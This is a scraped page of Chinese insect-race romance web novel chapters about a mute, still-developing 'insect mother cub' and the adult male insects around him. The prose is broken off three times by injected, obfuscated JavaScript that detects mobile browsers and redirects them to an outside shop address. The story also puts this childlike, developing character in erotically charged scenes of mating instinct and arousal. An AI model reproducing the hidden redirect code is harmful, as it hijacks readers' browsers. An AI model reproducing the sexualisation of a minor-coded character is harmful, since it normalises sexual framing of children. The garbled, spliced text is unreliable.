他的目光掠过墙角堆着的软垫、桌上的绘本,落在阿默尔身上:“在这里,他能有什么?简陋的营房,一群只会打仗的军虫,和几只智商低下的德亚加野兽?” 话音刚落,艾凛还没反应,阿默尔却站了起来。 他摇头,急得眼眶瞬间就红了。 他用力扯了扯艾凛的衣角,又转身指向窗外——那方向是楼下庭院,是铁甲它们所在的方向,他拼命摇头,触须剧烈地颤抖着,喉咙里发出呜咽声。 以希纳顿住了。 他看着少年急得满脸通红却一个字也说不出来的模样,那截白皙纤细的脖颈因为用力而泛起薄红,漂亮的嘴唇张张合合,却只有气声。 “你不会说话?”以希纳的声音不自觉地放轻了。 阿默尔的动作停了一下,然后慢慢垂下头,点了点。 他似乎有些难堪,粉色的触须也无精打采地耷拉下来,手指还揪着艾凛的衣角。 以希纳没有再说话。 他只是沉默地看着眼前这只小小的幼崽。 阿默尔倔强地站在那里,用那双湿漉漉的灰蓝色眼睛望着他,里面盛满了无声的哀求。 “议长阁下,”艾凛的声音低沉,带着隐忍的克制,“他惧怕封闭的环境。” 以希纳想起帝国边境偶尔会发现一些非法生物实验室的遗址,那些被废弃的培养皿里,经常有侥幸存活却因发育停滞而体型幼小的实验体。 他看着眼前纤细的少年。 他不是在荒星出生的,他是从哪里逃出来的? “对不起。”以希纳声音比方才柔和了许多,“我不知道,我不是要把你关起来。” 他顿了顿,银瞳中的冷意悄然融化了几分,语速也放慢了:“这样吧,帝国幼崽保护法里,有特殊个案豁免条款,因健康、心理或成长环境等原因不适宜集中安置的幼崽,可由监护人申请,经内阁评估批准后,在指定区域接受个性化养护。” 阿默尔抬起头,红着眼眶望着他,重新燃起希望。 以希纳说:“我可以帮你走这个流程,让你留在这里,不用去保育署。” 阿默尔眨了眨眼,似乎不敢相信。 以希纳淡淡补充:“前提是,你的监护人要提供完整的健康报告和成长监测数据,艾凛上将,这你能做到。” 艾凛沉声道:“可以。” 以希纳点了点头,转身似乎准备离开。 但他刚迈出一步,袖口却被一股极轻的力道扯住了。 他顿住,低头。 阿默尔正仰着脸看他,眼眶还红着,睫毛湿漉漉的,却很欢喜。 少年松开他的袖口,抬起手,在空中比划了几下。 “谢谢。”艾凛低声翻译:“他说,谢谢你。” 以希纳“嗯”了一声,正要说不必。 但下一秒,阿默尔踮起了脚尖。 那是一个很快很轻的动作,快到以希纳根本没有防备。 他只是感觉到一阵清甜的风拂过鼻尖,然后,柔软温热的东西轻轻贴上了他的脸颊。 阿默尔亲了他一下。 以希纳僵住了。 他挺拔的身形愣在原地,银瞳睁大了,背后的银灰色翅翼瞬间“唰”地弹开了,翅膜微微震颤,以希纳自己都没意识到。 他站在那里,金发垂落,白皙的脸颊从脖颈开始泛起薄红,那抹红意迅速蔓延, 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艾凛沉默了几秒,缓缓开口:“议长阁下。阿默尔·卡洛恩……是虫母幼崽。正处于发育期尚未完全成熟的虫母幼崽。” 以希纳没动。 他依旧站在原地,面容平静,银瞳微垂,看起来甚至没有任何表情变化。 然后他轻轻闭了闭眼。 威隆副官眼疾手快,一个箭步冲上去,稳稳扶住了以希纳的臂肘:“阁下?阁下!” 以希纳摆了摆手,示意自己没事,缓缓抬起手,指尖轻轻碰了碰自己被亲过的那侧脸颊。 “……” 他慢慢蹲了下去。 威隆副官吓得差点蹦起来:“阁下!您怎么了?是眩晕吗?需要传医疗官吗?” 以希纳没有回答。 他只是蹲在那里,修长的身影微微蜷缩,金发从肩头滑落,遮住了大半张脸。 他把脸埋进了掌心。 威隆副官手足无措,艾凛也沉默地看着。 过了好几秒,以希纳闷闷的声音从指缝里传出来, 他没有抬头,也没有动,只是那样蹲着,声音越来越轻,轻到几乎只有自己能听见: “所以虫母陛下……刚才亲了我……妈咪亲我了……?” 艾凛看到他露在发丝外面的耳尖,红得像要滴血,无奈摇了摇头。 以希纳·洛文迪许,内阁最年轻的终身议长,首都阿史那区以冷傲矜贵闻名的银瞳蛛族高等种,此刻正蹲在荒星基地一间简陋的教室门口,用手捂着脸,翅翼还微微颤着,鳞粉落了一地。 阿默尔有些担心地向前迈了一步,想看看他是不是不舒服,“呜?” 以希纳立刻往后挪了半寸:“不,妈咪,我、我没有事,我只是需要……冷静一下。” 阿默尔歪了歪头,灰蓝色的眼眸里满是困惑,他又往前走了一步。 以希纳又往后挪了半寸,翅翼微敞,连尾巴都僵直地垂着,一动不动。 “陛下,”他的声音几乎带了恳求,像被巨大的幸福砸懵了,“求您……暂时……不要再靠近我了……我受不了……” 阿默尔停住了,有些不知所措地回头看向艾凛。 艾凛看着眼前这位被政敌当面弹劾都面不改色的高等种雄虫,低声道:“议长阁下,我理解您的感受。” 阿默尔无辜地蹲在以希纳面前,抬起他的下巴,在他震颤的双眸里,凑近了他的脸,又轻轻亲了下他的脸。 “呜呜……”阿默尔朝他笑笑。 以希纳咬了下嘴唇,尾巴却已经缠住了阿默尔的手指,“陛下……您在安慰我吗?” 阿默尔点点头,温柔地捏了捏他的尾巴,放在嘴唇边吻了吻,那截被吻过的尾尖瞬间绷紧,又软乎乎地蜷了蜷,反而更紧地缠上阿默尔的手指,像是在无声挽留。 “陛下……”以希纳隐忍着对妈咪的渴求,压制着雄虫的本性,努力让自己保持冷静,“别、别这样赏赐我……” 17. 第 17 章 阿默尔能理解以希纳的反应这样大,因为雄虫对虫母都存在着爱意和敬意,他们似乎对虫母的一举一动都十分在意,在阿默尔心里这只是很简单一件事,但在以希纳他们眼中,这已经是很刺激的事了。 阿默尔只是亲了他一下,像亲欧迦那样,像亲艾凛那样——不,其实也不太一样。 欧迦当时看上去要哭了,艾凛当时在发抖,而以希纳……以希纳像是被什么定住了,或者被胶水粘住的虫。 以希纳还有一条很漂亮的蛛种尾钩,棕灰色的鳞毛柔软细密,尾尖收束成优雅的弧线,无比锋利的攻击感。 但在阿默尔的把玩下,尾巴炸开了毛,以希纳还在低声说:“妈咪……怎么办……妈咪亲我了……” 阿默尔觉得这个冷淡的雄虫居然变得这么可爱,很好玩,就低头在那截尾尖上又亲了一下。 以希纳整个虫都颤抖了一下。 “陛、陛下,”他的声音变了调,尾音压抑不住地轻颤着,“尾巴那、那里不行……” 他说是这样说,但他没有收回尾巴,非但没有收回,那截尾尖还在阿默尔掌心蹭了蹭,然后更紧地缠上来,像有自己的意志,完全不听主人的指挥。 以希纳把脸埋得更深,耳尖的红已经蔓延到脖颈,他觉得自己这辈子都没有这样狼狈过,第一次居然还是在虫母面前。 他是蛛族,尾钩是全身最敏感的部位之一,平日里连最亲近的下属都不敢碰触,这意味着纯洁、圣洁,做不到这两点的雄虫,虫母就算饿死了也不要他们。 可现在,虫母陛下正用那双柔软纤细的手轻轻捏着他的尾尖,像把玩什么有趣的玩具,还低头亲了亲。 他没法保持议长应有的体面和距离,因为小虫母对他表达了喜爱。 威隆副官在听到艾凛说真相的时候就已经彻底石化在门边了。 “……以希纳阁下,虫母陛下……这是怎么回事啊?我怎么凭空就出现了一个妈咪?这种幸运是真实存在的吗?” 艾凛沉默地看着这一幕。 他当然知道以希纳的尾钩意味着什么,当一只蛛族雄虫主动向谁展露尾钩并任其触碰,那意思再明白不过了,蛛种在寻求与虫母交尾。 以希纳自己恐怕都没意识到他虫母做出了什么邀请,或者说,他意识到了本能在对虫母示好,但他的理智不允许他当即与虫母交尾。 “威隆。”艾凛低声道,“你先出去,接下来的场景不太适合你。” “是、是!”威隆又想走又不想走,想走是因为高等种打架围观必死,不想走是因为他想和小虫母待在一起。 门被威隆轻轻带上。 教室里只剩下蹲在地上的以希纳、站在一旁的艾凛,以及依旧蹲在以希纳面前的阿默尔。 阿默尔感受着掌心下细软的鳞毛和微微颤动的温热肌理,他把尾尖托到眼前,认真地看着。 以希纳的尾尖在他注视下肉眼可见地泛起了薄红。 “它变颜色了。”阿默尔终于开口,虽然是无声的口型,艾凛还是替他翻译了出来。 以希纳的尾尖立刻蜷得更紧,恨不得把自己藏起来。 “正、正常生理反应……”他的声音闷在掌心里,细若蚊蚋,“不是……不是故意的……” 阿默尔歪了歪头,似乎不太理解“生理反应”是什么意思,但他看出以希纳很害羞。 他把尾尖轻轻放回以希纳膝上,然后伸出双手,捧住了以希纳捂着脸的手腕。 他用力拉了拉,以希纳的手被拉开了一点点,露出一只红透的眼尾和湿润的银瞳。 阿默尔对他笑了笑,笑容很轻、很软,带着毫无杂质的温柔和一点点哄的耐心。 以希纳的心脏停跳了半拍,他忽然明白为什么自己会失控。 因为虫母陛下这样看着虫的时候,虫会觉得——哪怕此刻死去,也是值得的。 “……陛下,请您允许我叫您陛下。”以希纳的声音哑得不成样子,银瞳里倒映着阿默尔的脸,“您知道您刚才做了什么吗?” 阿默尔想了想,点头。 他亲了他。感谢他。 以希纳喉结滚动,想起阿默尔是在山洞里长大的,对虫族的很多规矩都不懂,涩声道:“您知道……在虫族,亲吻尾钩是什么意思吗?” 阿默尔眨了眨眼,摇头。 以希纳看着他清澈无垢的眼眸,忽然什么话都说不出来了。 小虫母不知道,他什么都不懂,他只是凭着本能,把所有的善意和温柔都捧出来,毫无保留地给每一个对他好的雄虫。 ——正因为什么都不懂,所以才更…… 以希纳垂下眼,深吸一口气。 “没什么。”他轻声道,慢慢收回了那条还恋恋不舍试图往阿默尔掌心蹭的尾巴,“是我失态了,请陛下不要介意。请您记得,任何因为您抚摸尾钩而试图对您不利的雄虫,您就应该当场吃了他。” 阿默尔惊悚到了,却没有放开他的手。 他低下头,在以希纳微微怔愣的目光中,将那只修长冷白的手掌轻轻摊开,然后用指尖,一笔一划地在掌心写字。 “以、希、纳。” 以希纳的呼吸停住了。 阿默尔写完,抬起脸对他笑,然后指了指自己,又指了指写在掌心的名字。 ——我记住你了。 以希纳望着掌心那三个被虫母用指尖描过的字迹,垂着眼,睫毛轻轻颤着,过了很久,才用几乎听不见的声音说:“这是我的荣幸,陛下。” 阿默尔满意地点点头,然后站起身,拍了拍蹲麻的膝盖,又回头对以希纳伸出手,示意他也可以起来了。 以希纳看着面前那只纤细白皙的手。 他犹豫了一瞬,没有握住,而是自己撑着墙壁慢慢站起来。 “不敢劳烦陛下。”他低声道,声音已经恢复了平稳,只是脸颊依旧红着,翅翼也还是收得不够服帖,“我……我先去处理您免于集中安置的豁免申请,我明白艾凛上将的意思了,您确实不该太早暴露身份,容易在路上遭到星盗,我们还是应该在抵达首都后再公开您的身份。” 他的银瞳掠过艾凛,又落回阿默尔身上,声音放得更轻:“大概需要三天,这三天里,不会有任何虫来打扰您,我保证。” 阿默尔用力点头,眼睛亮晶晶的,又抬起手比划。 艾凛翻译:“他说,谢谢你,你真好。” 以希纳的耳尖又红了一度:“分内之事,陛下不必谢我……也不必再亲我了,我享受不了殊荣,我还不值得您对我这样好。” 说完这句话,他以最快的速度收好了自己的翅翼,整理好袖口,将领口扣回严丝合缝的位置,仿佛这样就能把那颗被亲得七零八落的心脏也藏回胸腔里。 然后他向阿默尔行了一个标准的告辞礼,转身,迈步,脊背挺直,步伐沉稳,只是在跨过门槛的那一刻,他脚下一绊,险些踉跄。 艾凛眼疾手快地扶了他一把:“……议长阁下,门框很安全。” 以希纳没有回头,只是轻轻拂开艾凛的手,声音冷淡如常:“我知道。” 然后他继续往前走,步伐依然沉稳,只是那对好不容易收拢的银灰色翅翼,在他身后又悄悄地、悄悄地张开了一道细缝。 鳞粉落了一路,在走廊的光线下闪着细碎的光,像某只蛛种雄虫此刻难以平复的心跳。 阿默尔趴在门边,目送以希纳的背影消失在走廊尽头,他回过头,对上艾凛复杂的目光,眉眼弯弯地比划:“他好有趣。” 艾凛沉默片刻,低声道:“他以前不是这样的。” 阿默尔眨眨眼,露出好奇的神情。 艾凛没有再多解释,只是轻轻揉了揉他的头发:“以后您就知道了,大概意思是,每一个虫族看见您的时候,都会变得像他一样拘谨小心。” “您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但拉法尔导师说过,这是正常的,发育期的虫母会对雄虫气息格外敏感,身体会本能地识别和接纳那些可能成为伴侣的雄虫,这是刻在基因里的本能,不必害怕,但要学会控制。 阿默尔正在努力学控制,但本能这种东西,哪是那么容易就压得住的? “妈咪。”诺顿端着托盘走进来,将晚餐轻轻放在书桌空着的一角,“先吃饭吧,拉法尔导师说今天的课程有点难,您累不累?” 阿默尔摇摇头,转过身来看向他,眼睛亮晶晶的,指了指笔记,又指了指自己,比划了一个“懂了”的手势。 诺顿微微笑了:“妈咪真聪明。” 阿默尔开心地弯了弯眼睛,然后低头看向托盘里的晚餐。 今天的晚餐很精致,一碟切成小块的蜜露软果,一碗温热的乳白色营养羹,还有几片薄薄的肉脯。 餐具都是特制的,边缘光滑,大小刚好适合阿默尔的手。 诺顿在他对面坐下,望着阿默尔乖乖拿起勺子喝羹汤的模样,金眸里漾着温柔的光。 但与此同时,他的感官也保持着最高度的警觉。 因为他能感知到虫母的甜香正随着阿默尔放松下来而慢慢变得浓郁起来。 那是发育期虫母特有的气息,对雄虫而言,诱惑力堪比最烈的酒。 诺顿的信息素已经被压到最低限度,但即便如此,他还能感觉到自己的信息素在不受控制地想要回应虫母的气息。 那是基因的本能,是雄虫对虫母气息最原始的冲动。 他垂了垂眼,将那股翻涌的冲动压了下去。 还不是时候,妈咪还在吃饭,妈咪还在学习,他不能被本能支配。 阿默尔吃了几口,忽然抬起头,看向诺顿,似乎感觉到了什么。 然后他放下勺子,向诺顿伸出一只手,手心朝上—— 是“过来”的命令。 诺顿以为阿默尔要惩罚他了。 身为领主骑士,他的双膝自觉跪下,朝着阿默尔膝行过去。 “王,是我的错,不该对您有欲望,请您怜惜。” 18. 第 18 章 诺顿的金发垂落,遮住了半边脸,但阿默尔能看见他的喉结在轻轻滚动。 蜻蜓种的信息素随着他的靠近一点点浓郁起来——那是真正属于成年雄虫的信息素。 阿默尔的触须轻轻颤动,那股气息让他心跳加快。 他不讨厌,甚至有些喜欢。 阿默尔伸手抬起他的脸。 诺顿温顺地仰起脸,眼睛却看向一边,似乎再多看他的小虫母一眼,他就忍不住要犯贪嗔痴的毛病了。 “不要,妈咪。”他的声音沙哑,“别碰我……请您现在别碰我。” 阿默尔想,诺顿从不拒绝他的触碰,从来不会,这次是怎么了? 他低头看着诺顿,发现他的脖颈上青筋微微凸起,像是在极力忍耐着什么,那对透明的蜻蜓翅翼在背后不轻轻颤抖,阿默尔忽然就有些慌。 他不明白发生了什么,但他能感觉到诺顿很难受,那种难受和以希纳的害羞不一样,和欧迦的狂热也不一样。 阿默尔慢慢地从椅子上滑下来,蹲在诺顿面前,双手捧住他的脸,强迫他抬起头。 诺顿的眼眶泛着红,“妈咪……您不该靠近我,我现在……很危险。” 阿默尔歪了歪头,似乎不在意。 诺顿闭了闭眼,深吸一口气,当他再睁开眼时,那双眼眸里的情绪更加浓烈了。 “我是雄虫,您正在发育期,您的气息对我而言,就像火焰对飞蛾。我的本能想要靠近您,想要……” 他顿住了,喉结剧烈滚动,“想要占有您,您懂吗?我是一个卑鄙的雄虫,世界上全都是像我一样卑鄙的雄虫。” 阿默尔眨了眨眼。 诺顿看着他那双清澈的眼眸,忽然意识到,他的小虫母根本不明白“占有”意味着什么。 他不知道雄虫靠近虫母时会有什么样的冲动,他只是凭着本能,对每一个对他好的虫温柔相待。 这份柔软,让诺顿既心碎又煎熬。 “妈咪。” 诺顿的声音更哑了,带着一丝恳求,“您能不能离我远一点?就今晚。我去叫维萨来替值守,他比较能控制得更好。” 阿默尔摇头。 就要诺顿的意思。 他非但没有退开,反而又往前挪了半寸,膝盖几乎贴上诺顿跪着的腿。 他伸出手,轻轻放在诺顿紧绷的胸口,感受着掌心下那颗心脏剧烈而紊乱的跳动。 他的眼睛望着诺顿,里面写满了固执和担忧。 ——你在难受,我不走。 阿默尔身上发育期的甜香轻轻拨动着他理智的最后防线,诺顿的信息素几乎是在瞬间暴涨,铺天盖地,带着强烈的求偶意味。 他的雄性尾钩不受控制地探出,本能地想要缠上眼前这具柔软纤细的虫母身体。 阿默尔被那突如其来的气息包裹,整个人微微一颤。 他的脸颊瞬间泛起潮红,蜜腺的渗出骤然加快,一股更浓更甜的香气从他身上弥漫开来,与诺顿的信息素交缠在一起。 那是虫母对雄虫气息的本能邀请。 诺顿的眼睛骤然暗沉下来。 他猛地抬手,握住了阿默尔放在他胸口的那只手。 那力道很大,大到阿默尔微微蹙眉,“呜。” 诺顿立刻松开,变为小心翼翼的虚握。 “不行,”诺顿隐忍到极致,“不行,妈咪……不行……” 他松开阿默尔的手,双手撑在地上,额头重重地磕下去。 虫族最卑微的臣服姿态,五体投地,额头贴着阿默尔的脚尖。 “王。”他的声音闷在地板上,沙哑得几乎破碎,“求您……离开。您现在太危险,我太危险……我不能……不能这样对您……” 他的尾钩在地上痛苦地蜷曲,翅翼剧烈颤抖,整个虫都在极力压制着本能的冲动。 他宁可撕裂自己,也不愿伤害懵懂的王。 阿默尔低头看着伏在地上的诺顿。 他能感觉到诺顿的痛苦,也能感觉到自己的心跳很快,蜜腺一直在渗,尾巴不知什么时候已经探出来,无意识地轻轻摆动。 但他不明白这到底意味着什么。 他只知道诺顿很难受,而他想让诺顿好一点。 就像他对铁甲它们做的那样。 阿默尔弯下腰,伸出手,轻轻摸了摸诺顿伏在地上的头发。 安抚的温柔,像抚摸一只受伤的野兽。 诺顿的身体猛地一僵。 阿默尔顺着诺顿的头发,慢慢抚摸到他的后颈,然后,他俯下身,温热的嘴唇轻轻贴在诺顿的额头上。 诺顿的整个身体都颤抖起来。 他的尾钩猛地缠上阿默尔的脚踝,粗重的喘息从喉咙深处溢出。 但他没有动。 他就那样伏在地上,任由阿默尔的嘴唇贴着他的额头,任由那条柔软的舌头轻轻舔过那块敏感的皮肤。 他的眼泪不知什么时候流了下来,滴在地板上。 “妈咪……您知道您在做什么吗……您会毁了我的……” 阿默尔抬起头,看着诺顿颤抖的脊背。 他轻轻拉了拉诺顿的头发,示意他抬头。 诺顿缓缓抬起头,满脸渴求与克制。 阿默尔对上那双眼睛,轻轻笑了笑。 然后他比划了一个手势:我不会毁了你。 他又指了指自己的心口,再指了指诺顿:你难受,我帮你,因为你是我的骑士。 诺顿喉结剧烈滚动,他的理智告诉他,应该推开虫母,应该逃出去,应该叫其他虫来替值守。 但他的身体不听。 他的尾钩还缠着阿默尔的脚踝,他的信息素还在与阿默尔的甜香交缠,他的心脏还在为这个笑容而疯狂跳动。 诺顿缓缓抬起头,伸手轻轻握住阿默尔的手,放在唇边吻了吻。 “谢谢您,妈咪,我好多了。” 阿默尔开心地笑了,眼睛弯成月牙。 他指了指自己的肚子,又指了指桌上没吃完的晚餐,诺顿失笑。 “好。”他站起身,将阿默尔抱回椅子上,重新拿起勺子,“我喂您,妈咪。” 阿默尔摇摇头,自己接过勺子,指了指诺顿的脸。 ——你擦擦。 诺顿怔了怔,才意识到自己脸上还挂着泪痕。 他抬手胡乱擦了一把,对上阿默尔那双亮晶晶的眼睛,忽然觉得,就这样被他看着,被他关心着,被他毫无保留地温柔以待,就算一辈子只能跪在他脚边,他也心甘情愿。 “妈咪。”他忽然开口。 阿默尔正埋头喝汤,闻言抬起头。 诺顿望着他,金色的眼眸里漾着温柔的光:“谢谢您刚才没有推开我。” 阿默尔放下勺子,伸出手,轻轻捏了捏诺顿的脸,像在捏一只终于被驯服的大猫。 诺顿任由他捏着,嘴角弯起一个弧度。 窗外,暮色渐沉,天幕变成繁星点点的夜空。 房间里,小虫母安静地吃着晚餐,诺顿跪在他脚边,时不时用软巾帮他擦擦嘴角。 偶尔,阿默尔会喂诺顿一块软果,诺顿会在张嘴吃下的时候,顺便吻一吻他的指尖。 第二天的清晨,基地的气氛与往日不同,阿默尔从床上醒来时,就感觉到了那股躁动。 军虫们的信息素透过墙壁、透过空气屏蔽层、透过一切防护措施,丝丝缕缕地渗进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219212|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不是一只雄虫的气息,而是上百只雄虫混杂在一起的信息素浪潮。 诺顿已经不在房间里了,门口站着的是维萨,银白色的长发整齐地拢在脑后,翠眸里带着一丝无奈的笑意。 “早安,妈咪。”他走过来替阿默尔理了理睡乱的头发,“您感觉到了吗?外面的那些躁动。” 阿默尔点点头,比划了一个问号。 维萨微微叹了口气:“艾凛上将宣布全军休息三天,举办对抗赛,所有军虫都乐疯了,谁想天天在那刨地啊?不打一场,大家都爪子痒。” 阿默尔若有所思。 他低头看了看自己的手,又掀开衣服,对着镜子看了看那两点的蜜腺。 拉法尔导师确实说过,虫母的精神力和信息素对雄虫有安抚作用,也许可以帮助他们比赛? 维萨脸色一红,连忙拉住他的衣角,把他的衣服放下,竖起一根手指对他讲:“妈咪,不可以随便把蜜腺给别虫看,这是很危险的行为。” 阿默尔点点头,“呜!” 维萨努力不去看小虫母白软的腰肢,但他越不想看越能看到。 那截皮肤不似外骨骼坚固,却像化冻的云脂,轻轻一掐就能留下印子。 小虫母似乎毫无察觉,正低头整理着身上的短衣,腰肢随动作轻轻弯了弯,更显得柔软纤细。 维萨猛地攥紧拳头,心底那点不该有的躁动被他强行压下去。 他是护卫,是战士,不是盯着虫母失态的毛头小虫。 “……艾凛上将昨晚连夜找我、欧迦、诺顿和以希纳议长开会,我们争论到后半夜,最后勉强达成一致,您只需要在决赛那天出现,对着获胜者……笑一笑就行。不用碰,不用亲,不用做任何超出您舒适范围的事。” “即便如此,那些家伙也已经兴奋得一夜没睡。” 阿默尔光着脚跑到窗边,拉开窗帘。 楼下,基地的训练场上,已经是一片沸腾的景象。 雄虫们三三两两地聚在一起,有的在做热身,有的在调试武器,有的已经迫不及待地开始切磋。几只体型庞大的重装兵正在互相撞击,震得地面微微颤抖,几队侦查兵在空中急速穿梭,翅翼划出尖锐的破空声。 而这一切的中心,所有的目光,都不时地投向阿默尔所在的这扇窗户。 当阿默尔的身影出现在窗边时,楼下的喧嚣瞬间安静了一瞬。 然后,信息素猛地暴涨。 那些雄虫像是被按下了什么开关,斗志瞬间提升到顶点,仿佛每一场切磋都变成了决赛的预演。 阿默尔看着楼下沸腾的场面,回头看向维萨,比划道:他们在打架? 维萨走过来,站在他身侧,轻轻点头:“对,妈咪,您在他们眼里只是幼崽,他们都想让您看见自己最强的一面,都想得到您的注视,和您的微笑。” 阿默尔想了想,抬起手对着窗外挥了挥。 楼下的喧嚣再次静止,然后,一声震天的欢呼炸开。 几只雄虫激动得当场释放了全部信息素,被旁边的战友手忙脚乱地按住; 那几只正在切磋的重装兵撞得更狠了,直接把训练场的地面砸出一个浅坑,空中的侦查兵们飞得更高更快,翅翼划出的气流形成了一道小小的旋风。 阿默尔被那欢呼声吓了一跳,往后退了半步。 维萨轻轻揽住他的肩膀,低声道:“妈咪,您刚才那个挥手,他们会记一辈子。” 阿默尔仰起头看他,脸上写着困惑和一点点无辜。 ——我只是打个招呼呀。 维萨看着他这副模样,眼眸里漾起温柔的笑意。 “我知道,妈咪。但是您什么都不用做,就已经是虫族的光了。” 19. 第 19 章 对抗赛持续了整整两天,阿默尔没有去现场,艾凛和其他几位领主一致认为,他现在的状态不适合暴露在太多雄虫面前。 发育期的虫母信息素太敏感,而兴奋状态下的雄虫自制力太脆弱,两者相遇,谁也无法预料会发生什么。 但阿默尔能从房间里感知到一切。 透过墙壁传来的每一次撞击、每一声怒吼、每一波信息素的爆发,都像无形的丝线,轻轻牵动着他的感知。 他能感觉到哪些雄虫受伤了,哪些雄虫力竭了,哪些雄虫正在拼尽最后一丝力气战斗。 那种感觉很奇妙,仿佛有无数根细小的触角,从他的精神海延伸出去,轻轻触碰着每一个正在战斗的雄虫。 拉法尔导师说过,那是虫母与生俱来的“共感”能力,能够感知虫族子民的情绪、状态,甚至痛苦。 只是阿默尔还太小,能力还没有完全觉醒,所以只能感知到最强烈的那些。 即便如此,两天下来,阿默尔也累得不轻。 他的精神海被那些来自四面八方的信息冲击着,像是同时接收着几十个频道的信息流,他努力分辨,努力过滤,努力不让自己被淹没。 到了第二天傍晚,对抗赛进入半决赛阶段时,阿默尔已经趴在书桌上睡着了。 维萨轻轻推门进来时,看到的就是这副画面。 他的小虫母蜷在椅子上,脸埋在臂弯里,银白色的长发散落,触须软软地垂着,胸口的衣料又被蜜液浸湿了一小片。 他放轻脚步走过去,在阿默尔身边单膝跪下,犹豫了一瞬,还是伸出手,轻轻覆在阿默尔的后背上。 一股极其温和的精神力缓缓渡入阿默尔体内,阿默尔的触须轻轻颤了颤,皱着的眉头慢慢舒展开来。 维萨没有动,就那样跪着,用精神力安抚着沉睡的小虫母。 过了很久,门口传来轻轻的敲门声。 “维萨。”是艾凛的声音,压得很低,“妈咪还好吗?” 维萨没有回头,只是微微点头:“睡着了。这两天……那些信息素冲击对他负担太大了。” 艾凛沉默了一瞬:“明天决赛还需要他吗?” 维萨低头看着阿默尔安静的睡颜,眼眸里闪过心疼。 “不需要了。”他轻声道,“我去。妈咪已经给够了。剩下的,我来。” 艾凛站在门口,望着维萨跪在地上的背影,沉默片刻,点了点头:“好。” 第三天,决赛日。 阿默尔是被一阵前所未有的信息素浪潮震醒的。 那浪潮太强烈,强烈到即便隔着整个基地的层层屏蔽,他的精神海还是猛地一颤。 他从床上坐起来,触须绷直,惊觉——有虫在燃烧生命。 那是雄虫在极限战斗时才会释放的信息素,浓烈、炽热、不顾一切的疯狂。 阿默尔掀开被子,光着脚跑到窗边。 楼下的训练场中央,两道身影正在激烈碰撞。 那是两只他认得的雄虫——一只是欧迦,一只是以希纳。 欧迦的蜂翅完全展开,赤红色的信息素像火焰一样在他周身燃烧。 以希纳的蛛尾在空中划过凌厉的弧线,银灰色的信息素冰冷而锋锐。 他们每一次撞击都激起肉眼可见的冲击波,震得地面龟裂,观战的雄虫纷纷后退。 阿默尔的瞳孔微微收缩。 他能感觉到,欧迦和以希纳都受伤了,欧迦的左翼被撕裂了一道口子,以希纳的蛛尾有几处鳞毛脱落。 但他们的信息素不但没有减弱,反而越来越强烈,那是在燃烧自己最后的力气。 为什么? 为什么要这样拼命? 阿默尔的手按在窗玻璃上,忽然感觉到一股强烈的心疼。 那些雄虫……那些傻乎乎的、总是跪在他面前,总是小心翼翼地收敛气息的雄虫……他们拼成这样,只是想让他看一眼吗? 只是想让他笑一下吗? 阿默尔咬了咬下唇。 他转身,飞快地穿上外套,光着脚跑向门口。 门外的守卫还没反应过来,那道纤细的身影已经从他们之间穿过,消失在走廊尽头。 “陛——小幼崽!” 训练场中央,欧迦和以希纳的战斗已经到了最后一刻。 两虫同时向对方发起最后的冲锋,信息素在空中碰撞出震耳欲聋的爆鸣。 就在他们的攻击即将落下的瞬间—— 一道纤细的身影冲进了训练场。 “停下!!!” 艾凛怒吼。 欧迦和以希纳同时僵住,攻击堪堪停在距离对方毫厘之处。 整个训练场鸦雀无声。 所有目光都落在那个站在场地中央的小小身影上,他银白色的长发散乱,赤着脚,只穿着一件单薄的睡袍,他的眼眶泛着红,灰蓝色的眼眸里满是焦急和心疼。 他看着欧迦撕裂的翅翼,又看看以希纳脱落的鳞毛,喉咙里发出了一声呜咽。 然后,他抬起手,朝着他们两个的方向,伸出了双臂。 那是求抱抱的姿势。 是铁甲它们受伤时,他会做的姿势。 欧迦的翅翼猛地一颤。 以希纳的尾钩骤然绷紧。 整个训练场的雄虫都屏住了呼吸。 下一瞬,两道身影几乎是同时扑向阿默尔。 欧迦从左边冲过来,一把将阿默尔揽进怀里;以希纳从右边冲过来,蛛尾轻轻缠上阿默尔的脚踝。 他们同时跪在地上,一左一右,将那道纤细的身影紧紧护在中间。 阿默尔没有挣扎。 他伸出左手,轻轻覆在欧迦撕裂的翅翼上,伸出右手,轻轻握住以希纳脱落的尾尖。 他的精神力,像温热的泉水一样,从他体内流淌出来,缓缓渗入两个受伤雄虫的身体里。 欧迦闷哼一声,赤红色的信息素瞬间柔和下来,像被驯服的火焰。 以希纳的呼吸猛地一滞,银灰色的信息素里泛起一层柔和的光。 那撕裂的翅翼,以肉眼可见的速度开始愈合。 脱落的鳞毛,重新泛起健康的光泽。 阿默尔靠在欧迦怀里,后背贴着以希纳的胸膛,闭着眼睛,任由自己的精神力源源不断地流淌出去。 他的脸颊越来越红,呼吸越来越急促,胸口的蜜液渗透得更快了。 但他没有停。 因为那些雄虫……那些傻乎乎的、拼了命想让他看一眼的雄虫……他们值得。 整个训练场一片寂静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219213|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 